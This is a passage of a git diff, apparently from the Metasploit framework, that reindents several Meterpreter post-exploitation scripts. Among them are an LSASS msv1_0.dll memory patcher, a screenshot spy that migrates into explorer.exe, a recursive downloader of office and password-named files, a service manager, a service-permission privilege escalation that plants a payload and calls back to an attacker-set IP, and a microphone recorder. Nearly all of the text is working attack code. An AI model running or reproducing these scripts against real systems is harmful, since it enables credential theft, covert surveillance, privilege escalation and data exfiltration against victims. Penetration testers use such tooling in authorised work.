+ pid = client.sys.process["lsass.exe"] + p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + dllbase = p.image["msv1_0.dll"] - sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0] - if sig != target[:sig] - print_error("found signature does not match") - next - end - old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0] - if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert)) - print_error("found code does not match") - next - end + sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0] + if sig != target[:sig] + print_error("found signature does not match") + next + end + old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0] + if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert)) + print_error("found code does not match") + next + end - print_status("patching...") - new_code = revert ? target[:orig_code] : target[:patch] - p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*")) + print_status("patching...") + new_code = revert ? target[:orig_code] : target[:patch] + p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*")) - written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0] - if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)) - print_status("done!") - raise Rex::Script::Completed - else - print_error("failed!") - next - end - end + written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0] + if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)) + print_status("done!") + raise Rex::Script::Completed + else + print_error("failed!") + next + end + end end print_status("no working target found") diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index 4105efbc79a2..bb6a3a9e2f8e 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -7,10 +7,10 @@ require 'fileutils' opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-d" => [ true, "The Delay in seconds between each screenshot." ], - "-t" => [ true, "The time to run in sec." ], - "-s" => [ true, "The local system linux/windows" ] + "-h" => [ false, "Help menu." ], + "-d" => [ true, "The Delay in seconds between each screenshot." ], + "-t" => [ true, "The time to run in sec." ], + "-s" => [ true, "The local system linux/windows" ] ) freq = 3 @@ -20,35 +20,35 @@ localsys = "linux" opts.parse(args) { |opt, idx, val| - case opt - when '-d' - freq = val.to_i - when '-t' - count = val.to_i - when '-s' - localsys = val.to_s - - when "-h" - print_line - print_line "Screenspy v1.0" - print_line "--------------" - print_line - print_line - print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." - print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." - print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." - print_line - print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when '-d' + freq = val.to_i + when '-t' + count = val.to_i + when '-s' + localsys = val.to_s + + when "-h" + print_line + print_line "Screenspy v1.0" + print_line "--------------" + print_line + print_line + print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." + print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." + print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." + print_line + print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" + print_line(opts.usage) + raise Rex::Script::Completed + end } # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Check for Version of Meterpreter @@ -69,77 +69,77 @@ def wrong_meter_version(meter = meter_type) begin - process2mig = "explorer.exe" - - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") - end - end + process2mig = "explorer.exe" + + # Actual migration + mypid = session.sys.process.getpid + session.sys.process.get_processes().each do |x| + if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) + print_status("#{process2mig} Process found, migrating into #{x['pid']}") + session.core.migrate(x['pid'].to_i) + print_status("Migration Successful!!") + end + end rescue - print_status("Failed to migrate process!") - #next + print_status("Failed to migrate process!") + #next end begin - session.core.use("espia") + session.core.use("espia") - begin + begin - data="#{host}" - path1 = File.join(logs,"video.html") - File.open(path1, 'w') do |f2| - f2.puts(data) - end + data="#{host}" + path1 = File.join(logs,"video.html") + File.open(path1, 'w') do |f2| + f2.puts(data) + end - if (localsys == "windows") + if (localsys == "windows") - print_status("Runing in local mode => windows") - print_status("Opening Interactive view...") - localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" - else - print_status("Runing in local mode => Linux") - print_status("Opening Interactive view...") - localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\"" - end + print_status("Runing in local mode => windows") + print_status("Opening Interactive view...") + localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" + else + print_status("Runing in local mode => Linux") + print_status("Opening Interactive view...") + localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\"" + end - system (localcmd) - (1..count).each do |i| - sleep(freq) if(i != 1) - path = File.join(logs,"screenshot.jpeg") - data = session.espia.espia_image_get_dev_screen + system (localcmd) + (1..count).each do |i| + sleep(freq) if(i != 1) + path = File.join(logs,"screenshot.jpeg") + data = session.espia.espia_image_get_dev_screen - if(data) - ::File.open(path, 'wb') do |fd| - fd.write(data) - fd.close() - end - end - end + if(data) + ::File.open(path, 'wb') do |fd| + fd.write(data) + fd.close() + end + end + end - rescue ::Exception => e - print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}") - end + rescue ::Exception => e + print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}") + end - print_status("The interactive Session ended...") - data = <<-EOS + print_status("The interactive Session ended...") + data = <<-EOS #{host} - Interactive Session ended EOS - File.open(path1, 'w') do |f2| - f2.puts(data) - end + File.open(path1, 'w') do |f2| + f2.puts(data) + end rescue ::Exception => e - print_status("Exception: #{e.class} #{e} #{e.backtrace}") + print_status("Exception: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 05b39c3fe598..2c633f860ee1 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -11,69 +11,69 @@ # Filters $filters = { - 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', - 'win9x' => '\.pwl$', - 'passwd' => '(pass|pwd)', + 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', + 'win9x' => '\.pwl$', + 'passwd' => '(pass|pwd)', } @@opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) def usage - print_line "search_dwld -- recursively search for and download files matching a given pattern" - print_line "USAGE: run search_dwld [base directory] [filter] [pattern]" - print_line - print_line "filter can be a defined pattern or 'free', in which case pattern must be given" - print_line "Defined patterns:" - print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n") - print_line - print_line "Examples:" - print_line " run search_dwld" - print_line " => recursively look for (MS|Open)Office in C:\\" - print_line " run search_dwld %USERPROFILE% win9x" - print_line " => recursively look for *.PWL files in the user home directory" - print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'" - print_line " => recursively look for pictures in the E: drive" - print_line(@@opts.usage) - raise Rex::Script::Completed + print_line "search_dwld -- recursively search for and download files matching a given pattern" + print_line "USAGE: run search_dwld [base directory] [filter] [pattern]" + print_line + print_line "filter can be a defined pattern or 'free', in which case pattern must be given" + print_line "Defined patterns:" + print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n") + print_line + print_line "Examples:" + print_line " run search_dwld" + print_line " => recursively look for (MS|Open)Office in C:\\" + print_line " run search_dwld %USERPROFILE% win9x" + print_line " => recursively look for *.PWL files in the user home directory" + print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'" + print_line " => recursively look for pictures in the E: drive" + print_line(@@opts.usage) + raise Rex::Script::Completed end @@opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } def scan(path) - begin - dirs = client.fs.dir.foreach(path) - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Error scanning #{path}: #{$!}") - return - end - - dirs.each {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x - - if client.fs.file.stat(fullpath).directory? - scan(fullpath) - elsif fullpath =~ /#{$motif}/i - # Replace ':' or '%' or '\' by '_' - dst = fullpath.tr_s(":|\%|\\", "_") - dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst) - print_line("Downloading '#{fullpath}' to '#{dst}'") - client.fs.file.download_file(dst, fullpath) - end - } + begin + dirs = client.fs.dir.foreach(path) + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Error scanning #{path}: #{$!}") + return + end + + dirs.each {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x + + if client.fs.file.stat(fullpath).directory? + scan(fullpath) + elsif fullpath =~ /#{$motif}/i + # Replace ':' or '%' or '\' by '_' + dst = fullpath.tr_s(":|\%|\\", "_") + dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst) + print_line("Downloading '#{fullpath}' to '#{dst}'") + client.fs.file.download_file(dst, fullpath) + end + } end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -84,16 +84,16 @@ def unsupported # Set the regexp if filter == 'free' - if args[2].nil? - raise RuntimeError.new("free filter requires pattern argument") - end - $motif = args[2] + if args[2].nil? + raise RuntimeError.new("free filter requires pattern argument") + end + $motif = args[2] else - $motif = $filters[filter] + $motif = $filters[filter] end if $motif.nil? - raise RuntimeError.new("Unrecognized filter") + raise RuntimeError.new("Unrecognized filter") end # Search and download diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index 6022334a4cfd..f112ef47f451 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -18,19 +18,19 @@ @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false , "Help menu." ], - "-l" => [ false , "List Services"], - "-S" => [ false , "Start Service"], - "-K" => [ false , "Stop Service"], - "-C" => [ false , "Create Service, service will be set to auto start"], - "-c" => [ false , "Change Service StartUp. Default " ], - "-i" => [ false , "Get Service Information"], - "-n" => [ true , "Service Name"], - "-s" => [ true , "Startup Parameter for service. Specify Auto, Manual or Disabled"], - "-d" => [ true , "Display Name of Service"], - "-p" => [ true , "Service command"], - "-D" => [ false , "Delete Service"] - ) + "-h" => [ false , "Help menu." ], + "-l" => [ false , "List Services"], + "-S" => [ false , "Start Service"], + "-K" => [ false , "Stop Service"], + "-C" => [ false , "Create Service, service will be set to auto start"], + "-c" => [ false , "Change Service StartUp. Default " ], + "-i" => [ false , "Get Service Information"], + "-n" => [ true , "Service Name"], + "-s" => [ true , "Startup Parameter for service. Specify Auto, Manual or Disabled"], + "-d" => [ true , "Display Name of Service"], + "-p" => [ true , "Service command"], + "-D" => [ false , "Delete Service"] + ) meter_type = client.platform ################## Function Declarations ################## @@ -38,26 +38,26 @@ # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for managing Windows Services." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for managing Windows Services." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Check if sufficient privileges are present for certain actions def priv_check - if not is_uac_enabled? or is_admin? - return true - else - print_error("Insuficient Privileges") - raise Rex::Script::Completed - end + if not is_uac_enabled? or is_admin? + return true + else + print_error("Insuficient Privileges") + raise Rex::Script::Completed + end end @@ -66,154 +66,154 @@ def priv_check wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - srv_list = true - when "-n" - srv_name = val - when "-S" - srv_start = true - when "-K" - srv_stop = true - when "-i" - srv_info = true - when "-c" - srv_change_startup = true - when "-C" - srv_create = true - when "-d" - srv_display_name = val - when "-p" - srv_command = val - when "-D" - srv_delete = true - end + case opt + when "-h" + usage + when "-l" + srv_list = true + when "-n" + srv_name = val + when "-S" + srv_start = true + when "-K" + srv_stop = true + when "-i" + srv_info = true + when "-c" + srv_change_startup = true + when "-C" + srv_create = true + when "-d" + srv_display_name = val + when "-p" + srv_command = val + when "-D" + srv_delete = true + end } # List Services if srv_list - print_status("Service List:") - service_list.each do |s| - print_good("\t#{s}") - end - raise Rex::Script::Completed + print_status("Service List:") + service_list.each do |s| + print_good("\t#{s}") + end + raise Rex::Script::Completed # Start a service elsif srv_start - priv_check - if srv_name - begin - returned_value = service_start(srv_name) - if returned_value == 0 - print_good("Service #{srv_name} Started") - elsif returned_value == 1 - print_good("Service #{srv_name} already Running") - elsif returned_value == 2 - print_error("Service #{srv_name} is Disabled could not be started.") - end - - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + priv_check + if srv_name + begin + returned_value = service_start(srv_name) + if returned_value == 0 + print_good("Service #{srv_name} Started") + elsif returned_value == 1 + print_good("Service #{srv_name} already Running") + elsif returned_value == 2 + print_error("Service #{srv_name} is Disabled could not be started.") + end + + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Stop a Service elsif srv_stop - priv_check - if srv_name - begin - returned_value = service_stop(srv_name) - if returned_value == 0 - print_good("Service #{srv_name} Stopped") - elsif returned_value == 1 - print_good("Service #{srv_name} already Stopped") - elsif returned_value == 2 - print_error("Service #{srv_name} can not be stopped.") - end - - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + priv_check + if srv_name + begin + returned_value = service_stop(srv_name) + if returned_value == 0 + print_good("Service #{srv_name} Stopped") + elsif returned_value == 1 + print_good("Service #{srv_name} already Stopped") + elsif returned_value == 2 + print_error("Service #{srv_name} can not be stopped.") + end + + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Get service info elsif srv_info - srv_conf = {} - if srv_name - begin - srv_conf = service_info(srv_name) - print_status("Service Information for #{srv_name}:") - print_good("\tName: #{srv_conf['Name']}") - print_good("\tStartup: #{srv_conf['Startup']}") - print_good("\tCommand: #{srv_conf['Command']}") - print_good("\tCredentials: #{srv_conf['Credentials']}") - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + srv_conf = {} + if srv_name + begin + srv_conf = service_info(srv_name) + print_status("Service Information for #{srv_name}:") + print_good("\tName: #{srv_conf['Name']}") + print_good("\tStartup: #{srv_conf['Startup']}") + print_good("\tCommand: #{srv_conf['Command']}") + print_good("\tCredentials: #{srv_conf['Credentials']}") + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Change startup of a service elsif srv_change_startup - priv_check - if srv_name - begin - print_status("Changing Service #{srv_name} Startup to #{srv_startup}") - service_change_startup(srv_name,srv_startup) - print_good("Service Startup changed!") - - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + priv_check + if srv_name + begin + print_status("Changing Service #{srv_name} Startup to #{srv_startup}") + service_change_startup(srv_name,srv_startup) + print_good("Service Startup changed!") + + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Create a service elsif srv_create - priv_check - if srv_name and srv_command - begin - print_status("Creating Service #{srv_name}") - service_create(srv_name,srv_display_name,srv_command) - print_good("\tService Created!") - print_good("\tDisplay Name: #{srv_display_name}") - print_good("\tCommand: #{srv_command}") - print_good("\tSet to Auto Star.") - rescue::Exception => e - print_error("Error: #{e}") - end - else - print_error("No Service Name and Service Command where provided!") - end + priv_check + if srv_name and srv_command + begin + print_status("Creating Service #{srv_name}") + service_create(srv_name,srv_display_name,srv_command) + print_good("\tService Created!") + print_good("\tDisplay Name: #{srv_display_name}") + print_good("\tCommand: #{srv_command}") + print_good("\tSet to Auto Star.") + rescue::Exception => e + print_error("Error: #{e}") + end + else + print_error("No Service Name and Service Command where provided!") + end # Delete a service elsif srv_delete - priv_check - if srv_name - begin - print_status("Deleting Service #{srv_name}") - service_delete(srv_name) - print_good("\tService #{srv_name} Delete") - rescue::Exception => e - print_error("A Service Name must be provided, service names are case sensitive.") - print_error("Error: #{e}") - end - else - print_error("No Service Name and Service Command where provided!") - end - raise Rex::Script::Completed + priv_check + if srv_name + begin + print_status("Deleting Service #{srv_name}") + service_delete(srv_name) + print_good("\tService #{srv_name} Delete") + rescue::Exception => e + print_error("A Service Name must be provided, service names are case sensitive.") + print_error("Error: #{e}") + end + else + print_error("No Service Name and Service Command where provided!") + end + raise Rex::Script::Completed else - usage + usage end diff --git a/scripts/meterpreter/service_permissions_escalate.rb b/scripts/meterpreter/service_permissions_escalate.rb index 1ee4f22d5a2b..0f3c4bbdae7a 100644 --- a/scripts/meterpreter/service_permissions_escalate.rb +++ b/scripts/meterpreter/service_permissions_escalate.rb @@ -12,17 +12,17 @@ ## if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # # Options # opts = Rex::Parser::Arguments.new( - "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -37,18 +37,18 @@ # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-a" - aggressive = true - when "-h" - print_status("Generic weak service permissions privilege escalation.") - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - end + case opt + when "-a" + aggressive = true + when "-h" + print_status("Generic weak service permissions privilege escalation.") + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + end end # Get the exe payload. @@ -75,15 +75,15 @@ handler.datastore['ExitOnSession'] = false #start a handler to be ready handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true ) #attempt to make new service client.railgun.kernel32.LoadLibraryA("advapi32.dll") client.railgun.get_dll('advapi32') client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[ - [ "DWORD", "hService", "in" ] + [ "DWORD", "hService", "in" ] ]) #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config @@ -92,109 +92,109 @@ adv = client.railgun.advapi32 manag = adv.OpenSCManagerA(nil,nil,0x10013) if(manag["return"] != 0) - # SC_MANAGER_CREATE_SERVICE = 0x0002 - newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) - #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 - #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 - if(newservice["return"] != 0) - print_status("Created service... #{newservice["return"]}") - ret = adv.StartServiceA(newservice["return"], 0, nil) - print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") - service_delete("walservice") - adv.CloseServiceHandle(newservice["return"]) - if aggressive == false - adv.CloseServiceHandle(manag["return"]) - raise Rex::Script::Completed - end - else - print_status("Uhoh. service creation failed, but we should have the permissions. :-(") - end + # SC_MANAGER_CREATE_SERVICE = 0x0002 + newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) + #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 + #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 + if(newservice["return"] != 0) + print_status("Created service... #{newservice["return"]}") + ret = adv.StartServiceA(newservice["return"], 0, nil) + print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") + service_delete("walservice") + adv.CloseServiceHandle(newservice["return"]) + if aggressive == false + adv.CloseServiceHandle(manag["return"]) + raise Rex::Script::Completed + end + else + print_status("Uhoh. service creation failed, but we should have the permissions. :-(") + end else - print_status("No privs to create a service...") - manag = adv.OpenSCManagerA(nil,nil,1) - if(manag["return"] == 0) - print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") - end + print_status("No privs to create a service...") + manag = adv.OpenSCManagerA(nil,nil,1) + if(manag["return"] == 0) + print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") + end end print_status("Trying to find weak permissions in existing services..") #Search through list of services to find weak permissions, whether file or config serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" #for each service service_list.each do |serv| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s - if srvtype != "16" - continue - end - moved = false - configed = false - #default path, but there should be an ImagePath registry key - source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") - #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s - sourcemaybe = client.fs.file.expand_path(sourceorig) - if( sourcemaybe[0] == '"' ) - sourcemaybe = sourcemaybe.split('"')[1] - else - sourcemaybe = sourcemaybe.split(' ')[0] - end - begin - client.fs.file.stat(sourcemaybe) #check if it really exists - source = sourcemaybe - rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") - end - #try to exploit weak file permissions - if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) - client.railgun.kernel32.CopyFileA(tempexe, source, false) - print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") - moved = true - end - #try to exploit weak config permissions - #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - if(servhandleret["return"] != 0) - #SERVICE_NO_CHANGE is 0xFFFFFFFF - if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") - configed = true - end - adv.CloseServiceHandle(servhandleret["return"]) + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s + if srvtype != "16" + continue + end + moved = false + configed = false + #default path, but there should be an ImagePath registry key + source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") + #get path to exe; parse out quotes and arguments + sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s + sourcemaybe = client.fs.file.expand_path(sourceorig) + if( sourcemaybe[0] == '"' ) + sourcemaybe = sourcemaybe.split('"')[1] + else + sourcemaybe = sourcemaybe.split(' ')[0] + end + begin + client.fs.file.stat(sourcemaybe) #check if it really exists + source = sourcemaybe + rescue + print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") + end + #try to exploit weak file permissions + if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) + client.railgun.kernel32.CopyFileA(tempexe, source, false) + print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") + moved = true + end + #try to exploit weak config permissions + #open with SERVICE_CHANGE_CONFIG (0x0002) + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + if(servhandleret["return"] != 0) + #SERVICE_NO_CHANGE is 0xFFFFFFFF + if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) + print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") + configed = true + end + adv.CloseServiceHandle(servhandleret["return"]) - end - if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") - continue - end - print_status("Restarting #{serv}") - #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) - if(servhandleret["return"] != 0) - #SERVICE_CONTROL_STOP = 0x00000001 - if(adv.ControlService(servhandleret["return"],1,56)) - client.railgun.kernel32.Sleep(1000) - adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") - #Cleanup - if moved == true - client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) - end - if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) - adv.CloseServiceHandle(servhandleret["return"]) - end - if aggressive == false - raise Rex::Script::Completed - end - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - adv.CloseServiceHandle(servhandleret["return"]) - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - rescue - end + end + if(moved != true && configed != true) + print_status("No exploitable weak permissions found on #{serv}") + continue + end + print_status("Restarting #{serv}") + #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) + servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) + if(servhandleret["return"] != 0) + #SERVICE_CONTROL_STOP = 0x00000001 + if(adv.ControlService(servhandleret["return"],1,56)) + client.railgun.kernel32.Sleep(1000) + adv.StartServiceA(servhandleret["return"],0,nil) + print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") + #Cleanup + if moved == true + client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) + end + if configed == true + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) + adv.CloseServiceHandle(servhandleret["return"]) + end + if aggressive == false + raise Rex::Script::Completed + end + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + adv.CloseServiceHandle(servhandleret["return"]) + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + rescue + end end diff --git a/scripts/meterpreter/sound_recorder.rb b/scripts/meterpreter/sound_recorder.rb index d682b888488b..84dfdaebe78e 100644 --- a/scripts/meterpreter/sound_recorder.rb +++ b/scripts/meterpreter/sound_recorder.rb @@ -9,9 +9,9 @@ # 30 second durations to keep data moved small and minimize problems. duration = 30 @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-l" => [ true , "Specify a alternate folder to save sound files to."], - "-i" => [ true , "Number of 30 second intervals to record."] + "-h" => [ false, "Help menu." ], + "-l" => [ true , "Specify a alternate folder to save sound files to."], + "-i" => [ true , "Number of 30 second intervals to record."] ) meter_type = client.platform @@ -20,61 +20,61 @@ # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for recording in intervals the sound capture by a target host microphone." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for recording in intervals the sound capture by a target host microphone." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for creating log folder, returns path of folder. #------------------------------------------------------------------------------- def log_folder_create(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', "sound_recorder", host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", "sound_recorder", host + filenameinfo ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', "sound_recorder", host + filenameinfo ) + else + logs = 